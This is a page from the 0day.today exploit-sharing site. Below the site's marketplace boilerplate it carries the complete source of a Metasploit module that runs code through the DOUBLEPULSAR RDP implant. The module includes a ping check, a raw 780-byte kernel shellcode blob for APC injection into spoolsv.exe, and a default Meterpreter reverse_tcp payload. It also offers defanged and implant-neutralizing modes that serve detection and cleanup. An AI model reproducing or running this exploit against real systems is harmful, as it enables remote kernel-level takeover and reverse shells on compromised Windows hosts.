0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
RDP DOUBLEPULSAR Remote Code Execution Exploit
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::RDP MAX_SHELLCODE_SIZE = 4096 def initialize(info = {}) super(update_info(info, 'Name' => 'RDP DOUBLEPULSAR Remote Code Execution', 'Description' => %q{ This module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for RDP. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant. }, 'Author' => [ 'Equation Group', # DOUBLEPULSAR implant 'Shadow Brokers', # Equation Group dump 'Luke Jennings', # DOPU analysis and detection 'wvu', # RDP DOPU analysis and module 'Tom Sellers', # RDP DOPU analysis 'Spencer McIntyre' # RDP DOPU analysis ], 'References' => [ ['URL', 'https://github.com/countercept/doublepulsar-detection-script'] ], 'DisclosureDate' => '2017-04-14', # Shadow Brokers leak 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_X64, 'Privileged' => true, 'Payload' => { 'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size, 'DisableNops' => true }, 'Targets' => [ ['Execute payload (x64)', 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } ], ['Neutralize implant', 'DefaultOptions' => { 'PAYLOAD' => nil # XXX: "Unset" generic payload } ] ], 'DefaultTarget' => 0, 'Notes' => { 'AKA' => ['DOUBLEPULSAR'], 'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'], 'Stability' => [CRASH_OS_DOWN], 'Reliability' => [REPEATABLE_SESSION] } )) register_advanced_options([ OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]), OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe']) ]) end OPCODES = { exec: 0x01, ping: 0x02, burn: 0x03 }.freeze DOUBLEPULSAR_MAGIC = 0x19283744 # https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw def parse_doublepulsar_ping(res) return unless res && res.length == 288 magic, _size, major, minor, build = res.unpack('V5') sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2') return unless magic == DOUBLEPULSAR_MAGIC ver_str = "#{major}.#{minor}.#{build}" sp_str = "SP#{sp_major}" prod_str = case prod when 1 'Workstation' when 2 'Domain Controller' when 3 'Server' end arch_str = case arch when 1 'x86' when 2 'x64' end "Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}" end def setup super rdp_connect is_rdp, server_selected_protocol = rdp_check_protocol fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp case server_selected_protocol when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA') when RDPConstants::PROTOCOL_SSL vprint_status('Swapping plain socket to SSL') swap_sock_plain_to_ssl end rescue Rex::ConnectionError, RdpCommunicationError => e fail_with(Failure::Disconnected, e.message) end def cleanup rdp_disconnect super end def check print_status('Sending ping to DOUBLEPULSAR') res = do_rdp_doublepulsar_pkt(OPCODES[:ping]) unless (info = parse_doublepulsar_ping(res)) print_error('DOUBLEPULSAR not detected or disabled') return CheckCode::Safe end print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!') print_good("Target is #{info}") CheckCode::Vulnerable end def exploit if datastore['DefangedMode'] warning = <<~EOF Are you SURE you want to execute code against a nation-state implant? You MAY contaminate forensic evidence if there is an investigation. Disable the DefangedMode option if you have authorization to proceed. EOF fail_with(Failure::BadConfig, warning) end # No ForceExploit because check is accurate unless check == CheckCode::Vulnerable fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR') end case target.name when 'Execute payload (x64)' print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}") shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName']) shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length) vprint_status("Total shellcode length: #{shellcode.length} bytes") print_status('Sending shellcode to DOUBLEPULSAR') res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode) when 'Neutralize implant' return neutralize_implant end if res fail_with(Failure::UnexpectedReply, 'Unexpected response from implant') end print_good('Payload execution successful') end def neutralize_implant print_status('Neutralizing DOUBLEPULSAR') res = do_rdp_doublepulsar_pkt(OPCODES[:burn]) if res fail_with(Failure::UnexpectedReply, 'Unexpected response from implant') end print_good('Implant neutralization successful') end def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil) rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body)) rescue Errno::ECONNRESET, RdpCommunicationError nil end =begin MULTIPOINT-COMMUNICATION-SERVICE T.125 DomainMCSPDU: channelJoinConfirm (15) channelJoinConfirm result: rt-domain-not-hierarchical (2) initiator: 14120 requested: 6402 =end def make_rdp_mcs_doublepulsar(opcode, body) data = "\x3c" # channelJoinConfirm data << [DOUBLEPULSAR_MAGIC].pack('V') data << [opcode].pack('v') if body data << [body.length, body.length, 0].pack('V*') data << body end build_data_tpdu(data) end # ring3 = user mode encoded payload # proc_name = process to inject APC into def make_kernel_user_payload(ring3, proc_name) sc = make_kernel_shellcode(proc_name) sc << [ring3.length].pack('S<') sc << ring3 sc end def generate_process_hash(process) # x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm proc_hash = 0 process << "\x00" process.each_byte do |c| proc_hash = ror(proc_hash, 13) proc_hash += c end [proc_hash].pack('l<') end def ror(dword, bits) (dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF end def make_kernel_shellcode(proc_name) # see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm # Length: 780 bytes "\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \ "\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \ "\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \ "\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \ "\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \ "\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \ "\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \ "\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \ "\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \ "\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \ "\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \ "\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \ "\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" + generate_process_hash(proc_name.upcase) + "\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \ "\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \ "\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \ "\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \ "\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \ "\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \ "\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \ "\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \ "\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \ "\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \ "\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \ "\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \ "\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \ "\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \ "\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \ "\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \ "\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \ "\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \ "\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \ "\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \ "\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \ "\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \ "\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \ "\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \ "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \ "\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \ "\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \ "\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \ "\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \ "\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \ "\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \ "\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \ "\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \ "\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \ "\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \ "\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3" end def kernel_shellcode_size make_kernel_shellcode('').length end end # 0day.today [2024-11-16] #